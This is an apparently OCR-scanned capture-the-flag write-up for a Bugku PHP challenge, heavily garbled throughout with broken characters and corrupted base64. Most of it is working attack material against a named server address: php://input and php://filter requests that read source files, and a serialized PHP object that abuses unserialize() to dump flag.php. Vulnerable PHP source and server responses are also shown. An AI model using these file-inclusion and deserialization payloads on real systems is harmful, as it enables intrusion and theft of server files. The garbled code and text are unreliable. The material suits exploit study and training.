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you are not the number of bugku !
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Suser

= § GET["txt"];
$rile = § GET["rile"];
$pass = §_GET["password”];

if(isset ($user)&& (file get contents($user, 'r )===
echo “hello admin!<br>”;
include (§file); //hint. php

Jelsef
echo “vou are not admin ! 7

“welcome to the bugkuctf™)){
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¥y 3& payload B2 ELhint.php 304 R &

http://123.206.87.240:8006/test1/index.php?
txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

post data : welcome to the bugkuctf

Request Hesponse

Raw | Params | Headers | Hex Raw | Headers | Hex | Render
JET A HTTF/Ll.1l 200 OK
‘testl/index.php?txt=php://input&file=php://filter/read=convert.bas=é4-en P Server: nginx
code/resource=hint.phpépassword= HTTF/L.1 Date: Tus, 18 Jun 2019 17:14:50 GHMT
{ost: 123.206.87.240:B00& Content-Types: text/html
IJser—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4: xE4: rv:e7.0) Connsction: close
jecko/Z01l00101 Firefox/E€7.0 Content-Length: €58
lccept: text/html,application/xhtml+4xml, application/=xml;q=0.9,*/*;q=0.2
lccept-Languages: hello
th—-CN, zh;q=0.8, zh-TW; g=0.7, eh-HE; q=0.5,en-US;gq=0.3,en;gq=0.2 friend! <br>PDOwaHAgTAOKICANCM sYXHzIEZsYWA7Ly 9mb GFnLnBocCAgDQogICAgcHViIbG
lccept-Encoding: gzip, deflate 17 ICEMaWx10yAgD Q0 ogICAgcHVibG1j IGZ1bm0aWonIF 9fdG9zdHIpbmc o KX sgTAOKICAGIC
lonnection: close AgICBpZihpc3NMldCgkdGhpey0+ZmlsZSkpeyAgD0ogICAgICAgICAgICB1Y2hvIGZphGVEZ2
Ipgrade-Insecure-Requests: 1 VoX2HvbnR1bnRzKCR0aGlzL T5maWx1 KT sgDQoJ CO11Y 2hv ICTIBYNnI+ I sHCgkJomV0dXIuIC

lache-Control: max-age=0 giZ29vZCIpOwiIKICAgICAgICBOICANCiAgICBOICANCNOgTAOKPz4gIA-=
lontent-Length: 23
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if{isset{Suse;:)&&{file_get_c‘ontents{Suse;:, 'r')==="welcome to the

baseb64fi# %

PD9waHAQIAOKICANCMNSYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxOyAgDQoglCAgcHVibGljIGZ1bmNOaW9ulF9fdG9

zdHJpbmcoKXsglAOKICAGICAGICBpZihpc3NIdCgkdGhpey0+ZmisZSkpeyAgDQogICAgICAgICAGICBIY2hvIGZpbGVIZ2VOX2NvbnRIbnRZKCR0aG
IzL T5maWxIKTsgDQoJCQIY2hvICIBYnI+jsNCgkJemVOdXJulCgiZz29vZCIpOWOKICAGICAGICBIICANCIAGICBIICANCNOgIAOKPZ4glA==
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public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);

echo "<br>";
return ("good");

BT 7% Eindex.php (R EA %D

Raw | Params | Headers | Hex
R | | Hex |

J Raw | Headers | Hex | Render

GET
ftestl/index.php?txt=php://inputéefile=php://filter/read=convert .bas=sé4-en
code/resource=index.phpipassword= HTTP/1.1

Host: 123.206.87.240:8008

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; x€4; rv:ie7.0)
Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.8, */*:q=0.8
Accept-Language :

zh-CN, zh; gq=0.8, zh-TW; q=0.7, zh-HE;gq=0.5,en-US5;¢g=0.3, en; g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache—Control: max-age=0

Content-Length: 23

welcome to the bugkuctf
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Content-Length: 1398

helle

friend! <br>PD9waHAgIAOKTHRAACASICRIROVURYJ0eH0iXTsgIAOKIGZpbGUgP SAKX0dFVEsiZml sZ5Td0y
AgDQokcGFze3dv amQgP SAKX0AFVE sicGF zo3dvem) iXTsgIAOKICANCmImKGLzc 2VOKCR0eH0pTiYoZmls ZVI
NZXREY2 9udGVudHMoTHR4d CwneicpP T09 Tnd1bGHYbWIgdG8gdGh1 T6T1Z2t1Y3RmTikpeyAgD QogT CAyZWHo
byRiaGVshGBgZnIpZWSkITxicj4i0yAgDQogICAgaWYocHT1Z19tYXRjaCyiL2ZsYWevIiwkZml sZSkpeyANC
gkTZWHobyAiSLiN6I09546w5Zyo5bhCx5TuZ 5L 2gZmehZ+WTpiI7D 0oy CAGICAGT GV aX(oKTs gIADKICAgTH
11bHH1leyAgDQogI CAgICAGIGINY2x1 ZGUod GZpbGUp0yAgIADKICAGI CAgI CAKCGFzc 3dv cmQgPSE1bniLoml
hbGl6ZSgkcGFzc3dvemQp0yAgD QogICAgICAGIGV)aG8gIHBhe3N3b3JK0yAgDQogICAGE SAgD Qp9ZWxZzZX sy
TAOKICAGIGV])aG8gInlvdSBhemUghm90IHRoZ SBudW1iZXIgb2Yg¥nVna3UglSAioyAgDQp9ICANCiAgDQo /P
iAgDQogIAOKP CELLSAGDQokdXN1ciASTCRIROVURYJ0eH)iXTsgIAOKIGZpbGUgP SAKX0dFVEsiZml sZ50d0y
AgDQokoGFzcyA9 T CREROVINyTwYXizd29yZCTd0yA gD o g TADKaWY 0 aXHzZX Qo THVZZX TpJ i Yo Zmls ZVINZXR
TY29ud6VudHMoTHVZZXTsT3InKTO09P SI3ZWxjb211 THRY THRoZSBidWdr dWH0Z1i TpKXsgTAOKI CAGIGV] aGay
Tmh1bGxv IGFKEWIuTTxic] 4i0yAgDogT CAgaW5jbHVKZS gkZml sZSk7TC8vaGludC5waHA g TAOKEWVSc2VTT
CANCiAgICB1YZhvICT5h3UgYXI1IG5vACBhZGlpbiAhICITICANCNOgIAOKICOtEikyg

the bugkuctf")){

}elseq



<?php

Sixt = $_GET["txt"];

Sfile = $_GET["file"];

$Spassword =$_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "iB & i B GHAHTF T Milagss 1"
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
ki
telse{
echo "you are not the number of bugku ! ";

<l|--

Suser = $_GET["txt"];

Sfile = $_GET["file"];

Spass =$_ GET["password"];

if(isset(Suser)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php

Lelse{
echo "you are not admin ! ";

BEAR ¥ tostring() https://www.php.net/manual/zh/language.oop5.magic.php
preg_match https://php.net/manual/zh/function.preg-match.php
unserialize R FF4k https://blog.csdn.net/wy0123/article/details/79345842 (¥ T f@Hi& JE IR K EE)

¥ehint.phpH IIFlag 7% 4 77 5 BATH, & EZIIAT _ tostring7i%, Hfecho, HEEHIH —ANBREANFRE, FrolbiE
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password= ynserializel password);

Bl 1 38 7% B 3 7 5140 0 S payload

<?php
class Flag{
public $file;
¥
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
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4:"file"

8:"flag.php";}

% Japayload

test1/index.php?txt=php://input&file=hint.php&password=0:4:"Flag"

Raw | Params | Headers | Hex

{s:4:"file"

Raw | Headers | Hex | Render

GET
ftestl/index.php?txt=php://input&file=hint.php&password=0:4:"Flag":1l:{s:4
t"file";s:8:"flag.php";} HTITR/L.L

Host: 123.2Z06.87.240:3008

User-Agent: Mozilla/5.0 (Windows NT 10.0: Wing4: x&4:; rv:e7.0
Gecko/Z0100101 Firefox/E7.0

Aeecept: text/html,application/xhtml+4xml,application/=ml:q=0.9,*/*:q=0.8
Aocept-Lancuadge @

zh-CI, zh;c=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-U3; q=0.3,en;q=0.2
Aocept-Encoding: gzip, deflate

Connection: close

Upgrade-Insscure-Requests: 1

Cache-Control: max-age=0

Content-Length: 23

v

welcome to the bugkuctf

FIATEEZ ) https://blog.csdn.net/csu_vc/article/details/78375203

HTTF/1.1 200 OK

Server: nginx

Date: Tus, 18 Jun 2019 17:32:48 GHT
Content-Type: text/html

Connection: close

Content-Length: 378

hello friend!<br> <?php
//flag{php_is_the best_language} L
?e<hbr>good

Suser §_GET["txt"];
Sfile = § GET["Ffile"],
Spass § GET["password"]

if{isset(fuser)ss (file get contents(fuser,
bugkuctf") ) {
echo "hello admi
include($§file);
lelseq

echo "you are not admin ! ";

"welcome to the

}
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